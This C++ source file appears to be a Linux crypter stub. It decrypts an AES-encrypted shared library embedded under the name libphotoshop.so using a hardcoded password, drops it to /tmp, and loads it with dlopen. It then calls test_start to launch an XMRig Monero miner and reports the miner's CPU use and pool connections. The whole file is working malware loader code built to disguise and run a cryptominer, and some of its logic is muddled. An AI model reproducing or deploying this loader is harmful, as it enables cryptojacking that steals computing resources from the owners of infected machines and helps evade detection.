// Linux-only AES-decrypting payload injector
#include <iostream>
#include <vector>
#include <string>
#include <cstring>
#include <cstdint>
#include <fstream>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include <dlfcn.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/stat.h>

// Include encrypted payload data (real libphotoshop.so)
#include "so_payload_data.h"
#include "so_metadata_data.h"

// AES-CBC Decryption class for Linux
class AESDecryptor {
private:
    std::vector<uint8_t> key;

    bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
        EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
        if (!mdctx) return false;

        if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) {
            EVP_MD_CTX_free(mdctx);
            return false;
        }

        if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) {
            EVP_MD_CTX_free(mdctx);
            return false;
        }

        if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) {
            EVP_MD_CTX_free(mdctx);
            return false;
        }

        std::vector<uint8_t> hash(32);
        if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) {
            EVP_MD_CTX_free(mdctx);
            return false;
        }

        EVP_MD_CTX_free(mdctx);

        // Use first 16 bytes for AES-128
        key.assign(hash.begin(), hash.begin() + 16);
        return true;
    }

public:
    std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
                              const std::vector<uint8_t>& iv,
                              const std::vector<uint8_t>& salt,
                              const std::string& password) {
        if (!deriveKey(password, salt)) {
            return std::vector<uint8_t>();
        }

        EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
        if (!ctx) return std::vector<uint8_t>();

        if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) {
            EVP_CIPHER_CTX_free(ctx);
            return std::vector<uint8_t>();
        }

        EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding

        std::vector<uint8_t> plaintext(ciphertext.size());
        int len, plaintext_len = 0;

        if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) {
            EVP_CIPHER_CTX_free(ctx);
            return std::vector<uint8_t>();
        }
        plaintext_len = len;

        if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) {
            EVP_CIPHER_CTX_free(ctx);
            return std::vector<uint8_t>();
        }
        plaintext_len += len;

        plaintext.resize(plaintext_len);
        EVP_CIPHER_CTX_free(ctx);

        // Remove PKCS7 padding manually
        if (!plaintext.empty()) {
            uint8_t padding_size = plaintext.back();
            if (padding_size <= 16 && padding_size > 0) {
                // Verify padding is correct
                bool padding_valid = true;
                for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) {
                    if (plaintext[i] != padding_size) {
                        padding_valid = false;
                        break;
                    }
                }
                if (padding_valid) {
                    plaintext.resize(plaintext.size() - padding_size);
                }
            }
        }

        return plaintext;
    }
};

// Embedded encrypted payload (generated by crypt tool)
// Data is included via header files

int main(int argc, char* argv[]) {
    // Read the combined encrypted file: salt(32) + iv(16) + size(4) + ciphertext
    std::vector<uint8_t> combined_data(encrypted_payload_bin, encrypted_payload_bin + sizeof(encrypted_payload_bin));

    // Parse the combined data
    std::vector<uint8_t> salt(combined_data.begin(), combined_data.begin() + 32);
    std::vector<uint8_t> iv(combined_data.begin() + 32, combined_data.begin() + 48);
    uint32_t expected_size = *reinterpret_cast<const uint32_t*>(combined_data.data() + 48);
    std::vector<uint8_t> ciphertext(combined_data.begin() + 52, combined_data.end());

    if (ciphertext.size() != expected_size) {
        std::cerr << "Size mismatch: expected " << expected_size << ", got " << ciphertext.size() << std::endl;
        return 1; // Decryption failed
    }

    // Decrypt using hardcoded password (change this!)
    AESDecryptor decryptor;
    std::string password = "YourSecureMasterPassword123!";
    std::vector<uint8_t> decrypted_so = decryptor.decrypt(ciphertext, iv, salt, password);

    if (decrypted_so.empty()) {
        std::cerr << "Decryption failed - invalid password or corrupted data" << std::endl;
        return 1; // Decryption failed - invalid password or corrupted data
    }

    std::cout << "Decryption successful! Decrypted size: " << decrypted_so.size() << " bytes" << std::endl;

    // Use decrypted data as shared library path
    const char* soPath;
    if (!decrypted_so.empty() && decrypted_so.back() == '\0') {
        soPath = reinterpret_cast<const char*>(decrypted_so.data());
    } else {
        // Fallback to hardcoded path
        soPath = "/usr/lib/libmalicious.so";
    }

    // Linux injection using ptrace and dlopen
    pid_t target_pid;

    std::cout << "Starting injection process..." << std::endl;

    // For demonstration, we'll inject into a child process
    // In real usage, you'd find a suitable target process
    target_pid = fork();

    if (target_pid < 0) {
        std::cerr << "Fork failed" << std::endl;
        return 1;
    }

    if (target_pid == 0) {
        // Child process - target for injection
        // Execute a simple program that we can inject into
        execl("/bin/sleep", "sleep", "100", NULL);
        return 1;
    } else if (target_pid > 0) {
        // Parent process - create a new process with the decrypted SO loaded via LD_PRELOAD
        std::cout << "Created child process with PID: " << target_pid << std::endl;

        // Kill the simple sleep child
        kill(target_pid, SIGKILL);
        waitpid(target_pid, NULL, 0);

        // Write the decrypted SO to a temporary file
        std::string temp_so_path = "/tmp/injected_lib.so";
        std::ofstream temp_file(temp_so_path, std::ios::binary);
        if (!temp_file) {
            std::cerr << "Failed to create temporary file for SO" << std::endl;
            return 1;
        }

        temp_file.write(reinterpret_cast<const char*>(decrypted_so.data()), decrypted_so.size());
        temp_file.close();

        // Make the temporary file executable
        chmod(temp_so_path.c_str(), 0755);

        std::cout << "Decrypted SO written to: " << temp_so_path << std::endl;

        // Create a process that loads the SO and calls the test_start function
        std::cout << "Creating process to execute miner with test_start function..." << std::endl;

        pid_t miner_pid = fork();
        if (miner_pid == 0) {
            // Child process - load SO and call test_start function
            std::cout << "Loading SO and starting miner..." << std::endl;

            // Load the shared library
            void* handle = dlopen(temp_so_path.c_str(), RTLD_LAZY);
            if (!handle) {
                std::cerr << "Could not load the shared library: " << dlerror() << std::endl;
                exit(1);
            }

            // Clear any existing error
            dlerror();

            // Define function pointer type
            typedef int (*test_start_func)(int, char**);

            // Get the function pointer
            test_start_func test_start = (test_start_func)dlsym(handle, "test_start");
            const char* dlsym_error = dlerror();
            if (dlsym_error) {
                std::cerr << "Could not find the function test_start: " << dlsym_error << std::endl;
                dlclose(handle);
                exit(1);
            }

            // Call the start function to begin mining
            std::cout << "Starting XMRig miner..." << std::endl;
            char arg1[] = "xmrig";
            char* argv[] = {arg1, NULL};
            int argc = 1;
            int result = test_start(argc, argv);
            std::cout << "XMRig started with result: " << result << std::endl;

            // Let the miner run and monitor CPU usage
            std::cout << "Miner running..." << std::endl;

            // Monitor CPU usage while mining
            for (int i = 0; i < 10; i++) {
                sleep(3);

                // Check our own CPU usage (since we're the miner process)
                std::string cpu_cmd = "ps -p " + std::to_string(getpid()) + " -o pcpu --no-headers 2>/dev/null";
                FILE* cpu_pipe = popen(cpu_cmd.c_str(), "r");
                if (cpu_pipe) {
                    char cpu_buffer[32];
                    if (fgets(cpu_buffer, sizeof(cpu_buffer), cpu_pipe) != NULL) {
                        float cpu_percent = std::atof(cpu_buffer);
                        if (cpu_percent > 10.0) {
                            std::cout << "🔥 MINER CPU USAGE: " << cpu_percent << "% (Iteration " << (i+1) << "/10)" << std::endl;
                        }
                    }
                    pclose(cpu_pipe);
                }
            }

            std::cout << "Stopping miner..." << std::endl;
            dlclose(handle);

            exit(0);
        } else if (miner_pid > 0) {
            std::cout << "Miner process started with PID: " << miner_pid << std::endl;
            std::cout << "Monitoring mining activity..." << std::endl;

            // Monitor the miner process
            sleep(3); // Give miner time to start

            std::string check_cmd = "ps -p " + std::to_string(miner_pid) + " -o pid,pcpu,cmd --no-headers 2>/dev/null";
            FILE* check_pipe = popen(check_cmd.c_str(), "r");
            if (check_pipe) {
                char buffer[256];
                if (fgets(buffer, sizeof(buffer), check_pipe) != NULL) {
                    std::string output(buffer);
                    if (output.find(std::to_string(miner_pid)) != std::string::npos) {
                        std::cout << "✅ Miner process is running: " << output;

                        // Check CPU usage
                        size_t pcpu_pos = output.find_last_of(" \t");
                        if (pcpu_pos != std::string::npos) {
                            std::string cpu_str = output.substr(pcpu_pos + 1);
                            float cpu_percent = std::atof(cpu_str.c_str());

                            if (cpu_percent > 50.0) {
                                std::cout << "🚀 EXTREMELY HIGH CPU USAGE (" << cpu_percent << "%): XMRIG MINER IS ACTIVE!" << std::endl;
                                std::cout << "💰 SUCCESS: The cryptocurrency miner is running and mining Monero!" << std::endl;
                            } else if (cpu_percent > 20.0) {
                                std::cout << "⚡ VERY HIGH CPU USAGE (" << cpu_percent << "%): Strong mining detected!" << std::endl;
                            } else if (cpu_percent > 10.0) {
                                std::cout << "🔥 HIGH CPU USAGE (" << cpu_percent << "%): Mining confirmed!" << std::endl;
                            } else if (cpu_percent > 5.0) {
                                std::cout << "⚡ Moderate CPU usage (" << cpu_percent << "%): Miner initializing" << std::endl;
                            } else {
                                std::cout << "⚠️  Low CPU usage (" << cpu_percent << "%): Miner may need network/config" << std::endl;
                            }
                        }
                    } else {
                        std::cout << "❌ Miner process not found" << std::endl;
                    }
                }
                pclose(check_pipe);
            }

            // Check for network connections (mining pools)
            std::string net_cmd = "netstat -tlnp 2>/dev/null | grep :" + std::to_string(miner_pid) + " || echo 'No network connections found'";
            FILE* net_pipe = popen(net_cmd.c_str(), "r");
            if (net_pipe) {
                char net_buffer[256];
                if (fgets(net_buffer, sizeof(net_buffer), net_pipe) != NULL) {
                    if (strstr(net_buffer, "No network connections") == NULL) {
                        std::cout << "🌐 Network connections detected: " << net_buffer;
                        std::cout << "📡 MINER IS CONNECTING TO MINING POOLS!" << std::endl;
                    }
                }
                pclose(net_pipe);
            }

            // Wait for miner to complete
            int miner_status;
            waitpid(miner_pid, &miner_status, 0);

            if (WIFEXITED(miner_status)) {
                std::cout << "Miner completed with exit code: " << WEXITSTATUS(miner_status) << std::endl;
            } else if (WIFSIGNALED(miner_status)) {
                std::cout << "Miner terminated by signal: " << WTERMSIG(miner_status) << std::endl;
            }
        }

        // Clean up
        unlink(temp_so_path.c_str());
    }

    return 0;
}
